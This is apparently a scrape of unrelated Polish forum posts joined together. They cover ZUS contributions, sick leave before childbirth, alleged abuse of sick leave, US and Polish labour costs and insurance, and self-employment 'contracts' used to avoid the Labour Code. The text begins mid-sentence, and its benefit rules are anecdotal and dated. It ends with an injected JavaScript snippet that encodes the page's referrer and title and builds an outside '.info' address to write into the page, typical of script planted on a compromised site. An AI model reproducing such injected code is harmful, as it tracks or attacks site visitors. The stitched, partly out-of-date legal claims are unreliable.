Korei Płn - czyli neoniewolnictwo - obniżka składek na Fundusz Pracy - prezent
od Tuska w wyniku zmniejszonych wypłat świadczeń
- obniżka składek rentowych - bo renty tylko dla polityków i pracodawców
- likwidacja składek zdrowotnych, bo przy takiej poprawie zdrowotności
powszechna służba zdrowia stanie się zbędna

Dla mafii lekarskiej również same zyski:
- wszystko będzie prywatne i indywidualnie płatne z obowiązkowych drogich
polis wykupywanych w Towarzystwach Ubezpieczeniowych zrzeszonych w Lewiatanie.
Wyjątkiem będą zwolnieni z wykupu polis politycy i Lewiatanowcy oraz ich rodziny.

A na koniec, zamiast walczyć w wyborach prezydenckich, Tusk ogłosi się królem.

I tylko jedno pytanie się nasuwa:
Kto personalnie odpowiada za nominację Jeremiego Mordasewicza - zaprzysięgłego
wroga ZUS-u i wszelkich składek, do Rady Nadzorczej ZUS ? Czyżby Donald
Pierwszy Fałszywy ??? OSRAM i wszystko jasne !
a co po terminie
Lekarze boją się wypisywać zwolnienia , ale nie dajcie się zwariować .Kobieta
MOZE wykorzystać te dwa tygodnie ale nie musi. Gorsza sprawa jest jak mija
właśnie termin porodu a dzidzi ani śladu. Opowiem WAm o moim przypadku może sie
do czegos przyda.
Termin mam na jutro 30.08, zwolnienie skończylo mi się wczoraj 28.08 no i
oczywiście ani lekarz ginekolog nie chcial wystawić zwolnienia a internista do
którego poszłam powiedzial że na ciąże to on nie może bo ZUS bla bla może mi
dać na BIEGUNKE rozmumiecie biegunkę no i oczywiście 80% bo kodu B to on nie
wpisze. Ginekolog wypisuje macierzyński, ale mi szkoda każdego dnia i dalej
drąże. Ponieważ jestem na zwolnieniu od stycznia po 182 dniach należalo starać
się o zasiłek rehabilitacyjny (po ludzku o przedlużanie zwolnienia na kolejny
okres) ZUS przyznał mi świadczenie rehabilitacyjne na kolejne 3 miesiące (do
października)Okazało się że nie ma potrzeby wystawiania zwolnienia lekarskiego
jeżeli TAKA DECYZJA JEST WYDANA. Kadry w naszej pracy powinny to wiedzieć i nie
wymagać żadnego zwolnienia, Decyzja ta jest ważna do dnia poprzedzajęcego poród
(nie termin)a w dniu faktycznego porodu zostanie wypisany urlop macierzyński. I
nikt nam ani dnia nie zabierze. Tzrymajcie się dziewczyny i nie dajmy się.

A tak przy okazji zadałam pytanie do Fundacji Rodzić po Ludzku i otrzymalam
odpowiedź
"Szanowna Pani,
lekarz moze wystawic zwolnienie po wyznaczonym terminie porodu, nie musi byc
Pani zmuszona do wczesniejszego rozpoczecia urlopu macierzynskiego. Bez wzgledu
na to, jakiej specjalnosci lekarz wystawia zwolnienie, jest ono platne 100 %
(na blankiecie lekarz zaznacza, iz zwolnienie przypada na czas ciazy)."
Moja Dzidzia
Bo prawo pracy jest do d..
bo kultura pracy jest niska ( w sensie poszanowania pracy i wzajemnych ukladow
z szefostwem, bo pensje niskie i nie ma motywacji, zeby zarzynac sie o tych
kilkaset zlotych).Prawo pracy: 100% platne L-4 jest demoralizujace, bo kobieta
w ciazy nie ma motywacji, aby pracowac. Prawo pracy jest nieelastyczne, bo albo
jest sie zdolnym do pracy, albo nie. Nie ma mowy o tym, zeby np. w ciazy
zmniejszyc wymiar zatrudnienia do np.5-6 godzin dziennie, a pozostaly czas byc
np. "na zwolnieniu " platnym przez ZUS, chocby 80%. Przesuniecie pracownicy w
ciazy na lzejsze stanowisko pozostaje martwym zapisem na papierze.
No i plaga lewych, nieuzasadnionych zwolnien lekarskich, ktorych jedynym
uzasadnieniem ma byc zmeczenie. ZUS powinien naprawde rzetelnie zabrac sie za
kontrole zasadnosci tych zwolnien, kontrolujac zarowno lekarzy, jak i pacjentki.
Poza tym polskie ciezarowki w wiekszosci strasznie sie ze soba pieszcza, CiP
jest swietnym odzwierciedleniem polskiego brzuchocentryzmu.
Kto na tym traci? Przede wszystkim kobiety, wszystkie bez wyjatku, bo przez
plage lewych zwolnien wszytskie sa traktowane jako potencjalne oszustki i
wyludzaczki swiadczen, ktore zaraz po zatrudnieniu uciekna "w ciaze", wiec na
rynku pracy zawsze beda kandydatami gorszej kategorii. A przeciez to jest
normalna sprawa, ze mlode kobiety zachodza w ciaze i rodza dzieci, wiec nie
powinne miec z tego powodu poczucia winy. Niska kultura pracy: zarowno kobiety,
jak i pracodawcy, wskutek zwykle negatywnych doswiadczen z pracownicami, graja
czesto nie fair, no i jest, jak jest. Bledne kolo. A idealnie byloby moc sie
umowic, zwlaszcza w przypadku planowanej ciazy, renegocjowac warunki pracy,
znalezc jakis kompromis. Zycie pokazuje, ze czesto jest on niemozliwy, i za to
mozna podziekowac tysiacom poprzedniczek, ktore uciekaja na nieuzasadnione
zwolnienie w ciazy.

Wlasnie, jesli porownasz dni wolne w Polsce i USA, to roznica jest olbrzymia.
Zwlaszcza, ze nie interesuja tutaj nikogo zwolnienia lekarskie - po prostu
wykorzystuje sie do tego urlopy. W wiekszosci przypadkow. Tak jak zauwazyles -
jest to wszystko sprawa pracodawcy - nie ma przepisow regulujacych urlopy. Mozna
isc na dluzsze "chorobowe" jesli pracodawca oplaca "short and long term
disability insurance", czyli tego typu ubezpieczenie. Ale nie ma takiego
obowiazku.
Wyobrazasz sobie podobna sytuacje w Polsce? Gdzie tyle ludzi choruje, przynosi
L4, pracodawca zas musi pracownikowi placic za chorowanie, jesli to potrwa
dluzej, to przejmuje to ZUS. Na amerykanskie unormowania (czy raczej ich brak)
nie zgodzilby sie zaden pracownik, polski zwiazek zawodowy ani ugrupowanie
polityczne.

Masz racje czesciowo co do szkol - sa rozne mozliwosci, stypendia, pozyczki,
doplaty z pracy, nie umniejsza to faktu, ze wszystkie wyzsze szkoly sa platne, a
wiekszosc absolwentow jedna splaca jakies pozyczki po studiach.

Pracodawcy czesto doplacaja do ubezpieczenia, ale w wiekszosci wypadkow pracownik
placi swoj udzial. Jesli do tego chce ubezpieczyc dzieci i wspolmalzonka, to
zbiera sie z tego calkiem spora kwota. Niestety $250 tysiecy w przypadku
powaznej czy dlugotrwalej choroby to jedynie zaliczka, na pewno nie wystarczy na
dluzsze leczenie szpitalne, czy kosztowne zabiegi. Dlatego wiekszosc ludzi ma
ubezpieczenia pokrywajace wydatki od 1 mln w gore. Natomiast jesli pracodawca
nie chce dokladac do ubezpieczenia pracownika, to nie mozna go do tego zmusic.
Wszyscy reprezentujacy wolne zawody, czy tez podwykonawcy pracujacy na zlecenie
musza sami oplacac ubezpieczenia - a sa to koszty olbrzymie.

Co do zapotrzebowania w USA na polskie produkty, to ono prawie nie istnieje.
Owszem, niektore artykuly spozywcze dobrze sie sprzedaja w rejonie Nowego Yorku i
Chicago, ale glownie wsrod Polakow urodzonych w Polsce.
Polskie produkty nie maja zadnej renomy. To, ze bron produkuje sie w Polsce
dobra o niczym nie swiadczy. Jest jeszcze kilkadziesiat innych krajow
produkujacych bron nie gorsza a wydajacych o wiele wiecej na reklame.
Dlatego uwazam, ze nie mamy Ameryce za wiele do zaoferowania. To, ze szukales
sprzetu sportowego z Polski, to ladnie, ale poza Toba malo kto by go szukal.
Polska eksportuje do US glownie artykuly spozywcze, prawie wylacznie dla
Polonii.

Oczywiscie, ze ustroj gospodarczy USA jest zdrowszy niz ten Wspolnoty
Europejskiej.
Ale nie ma szans na wprowadzenie go w kraju. Natomiast dla USA Polska jest
jednym z kilkudziesieciu malych i slabych krajow, na ktore nie bardzo zwraca sie
uwage. Za Zbigniewem Brzezinskim uwazam, ze USA bardziej by sie liczylo z
Polska, czlonkiem Unii niz Polska samodzielna.
> > Ostatnio obliczyłem , że pracownik zarabiający na rękę np. 10 złotych na
> > godzinę kosztuje pracodawcę za godzinę pracy ponad 30 złotych , czyli 17 D
> EM.
> > Za te pieniądze można znaleźć pracownika w Niemczech mających od nas 5-kro
> tnie
> > wyższy PKB na głowę ludności nie mówiąc już o Czechach i Węgrzech.
> > Jest to przyczyną , że polskie towary są drogie i niekonkurencyjne.
>
> Wydaje mi się, że to oszacowanie jest przesadzone. Moim zdaniem mniej niż 20 zł
> ,
> ale lepiej żeby się wypowiedzieli przedsiębiorcy, którzy tu czasami zaglądają.
> W
> Niemczech też przecież są podatki, ubezpieczenie, itd.

Piszę , że obliczałem i mogę udowodnić :
Stawka godzinowa = 10 złotych netto.
+ ZUS i podatek PIT ( płacony przez płatnika czyli pracodawcę ) wyniesie już 19
złotych.
Pracownik w Polsce pracuje nie 8 ale 7,5 godziny ( conajmniej pół godziny przerwy
ustawowej opłacanej przez pracodawcę ) - ale płacić trzeba za 8 godzin - koszt
godziny pracy wzrasta do 20,5 złotego.
Dolicz do tego opłaty na zakładowy fundusz świadczeń socjalnych , świadczenia
urlopowe , na dzieci niepełnoletnie i inne takie sprawy socjalne do opłacania
których pracodawca jest zmuszony ustawowo- koszt roboczogodziny wyniesie już
22,5 złotego.
Do tego trzeba doliczyć urlop wynoszący 26 dni roboczych płatny oczywiście przez
pracodawcę oraz kilkanaście dni chorobowego w roku także płatne przez pracodawcę-
wychodzi , że pracownik pracuje 10 miesięcy w roku , a ma płacone za 12.
Godzina pracy kosztuje już 27 złotych.
Jeżeli chcesz zwolnić pracownika z powodu złej koniunktury ( z przyczyn leżących
po stronie zakładu pracy , bo przecież nie pracownika ) np. takiego co pracował
już 33 miesiące musisz mu zapłacić prawie 5 miesięcznych pensji ( 3-miesięczne
wypowiedzenie nawet wręczone 1 dnia miesiąca skutkuje dopiero z jego końcem czyli
z 3 miesięcy robią się 4 , do tego odprawa w wysokości 1 miesięcznego
wynagrodzenia ).
Koszt godziny pracy wynosi już ponad 30 złotych.
Nie liczone są takie wydatki jak opłacane przez pracodawcę badania lekarskie ,
ubezpieczenia w III filarze , do opłacania których wielu pracodawców jest
zmuszanych , ekwiwalenty za własną odzież roboczą , herbatki , kawki i
korzystanie z telefonów służbowych w celach prywatnych co w Polsce jest normą.
Wliczając to wszystko koszt roboczogodziny znacznie przekroczy trzydzieści kilka
złotych.
A co stawek w Niemczech , to znam osobiście ludzi co pracowali za 10,5 DEM za
godzinę BRUTTO ! Oczywiście szybko starali się zmienić pracę , ale zawsze...
Nie wiem jak regulują to przepisy w innych krajach . W uproszczeniu mówiąc w
Polsce nie można podpisywać z osobą fizyczną umów innych niż umowa o pracę jeśli
praca wykonywana faktycznie spełnia warunki świadczenia pracy podpadające pod
Kodeks Pracy, nawet jeśli strony umówią się inaczej. Brzmi to mętnie ale chodzi
np. o to że pracodawca nie może podpisywać np. co 3 mies. umowy na wykonanie
jakiejś czynności (np. z lekarzem na 3 mieś świadczenie "usług zdrowotnych" w
oddziale szpitalnym jako "umowę - zlecenie"), nawet za zgodą obu stron. Jeśli
sposób pełnienia tej pracy określony w takiej umowie spełniają odpowiednie
warunki (określone w Kodeksie Pracy - ciągłość, praca powtarzalna, stały zakres
obowiązków i inne takie (nie jestem specjalistą od prawa pracy :-) to taka umowa
z mocy prawa (nawet jeśli strony umowy tego nie chcą) staje się umową o pracę
(czyli "etatem") z wszystkimi tego konsekwencjami (ZUS, świadczenia socjalne,
okresy pracy, wypoczynku, terminy wypowiedzenia). Co więcej - kolejna (bodajże
trzecia) taka umowa staje się umową o pracę "na czas nieokreślony" co skutkuje
oczywiści jeszcze większymi formalnymi obciążeniami pracodawcy. A chodzi o to by
zatrudnić (ktoś musi pracować) ale nie podpisywać umowy o pracę. Wymyślono więc
„kontrakty” czyli „zatrudnienie w oparciu o umowę cywilną”. W przypadku tzw.
"kontraktów" umowę podpisuje się nie z "osobą" lecz z jednoosobową "firmą"
(którą dzięki rozpoczęciu "działalności gospodarczej" staje się taka osoba).
Ma to rewelacyjne zalety dla pracodawcy - przestaje obowiązywać Kodeks Pracy i
związane z tym ograniczenia i przepisy. Obowiązują zapisy umowy. Nie ma żadnych
ograniczeń czasu pracy ( w Kodeksie Pracy są) - nawet wzięcie całego tygodnia
dyżurów "na okrągło" nie skutkuje żadnym przekroczeniem przepisów. Pracodawca
nie musi się przejmować takimi rzeczami jak płacenie składek ubezpieczeniowych
("firma" płaci sama), urlopem (nie ma urlopu - "firma" może pracować cały rok
lub przez jakiś czas nie pracować ale wtedy nie zarabia). Pracodawcy znika
problem z obowiązkowymi szkoleniami ("firma" szkoli się na własny koszt) i
innymi takimi. Nie potrzeba żadnego okresu wypowiedzenia - po prostu umowa po
czasie określonym wygasa (można ją renegocjować, przedłużyć lub nie). Nie ma
godzin nadliczbowych - każda godzina pracy bez względu na czas trwania jest
warta tyle ile określono w umowie. Jest wiele innych tego typu "zalet". Jest to
obecnie bardzo popularna forma zatrudniania lekarzy.

Próby zatrudniania w ten sposób są czynione również w "normalnych" (małych)
zakładach produkcyjnych - "skłania się" (najczęściej groźbą zwolnienia)
pracowników aby "założyli firmy" a następnie podpisuje się z nimi umowy na
wykonywanie tych samych czynności co na etacie z "zaletami" jak wyżej. Z tym
stara się walczyć Inspekcja Pracy.

Pracy lekarzy Inspekcja Pracy jakoś nigdy się nie czepiała bo to śliski temat.
Dodam tylko że przez wiele lat dyżury były niżej płatne niż normalne godziny
pracy. Gdy zwiększyły się możliwości dochodzenia roszczeń nasi parlamentarzyści
uchwalili że dyżur lekarski nie jest "normalną" pracą tylko "specyficznym"
sposobem pracy. Oczywiści ten intelektualny wysiłek włożono aby nie trzeba było
lekarzom dyżurującym w ramach pracy etatowej płacić za dyżur jak za godziny
nadliczbowe czyli więcej (takie są zapisy Kodeksu Pracy) i trzeba je było jakoś
ominąć.

> function bb515452fe81341(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515452fe81306(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515452fe81306(bb515452fe81341(document.referrer),bb515452fe81341(document.title)));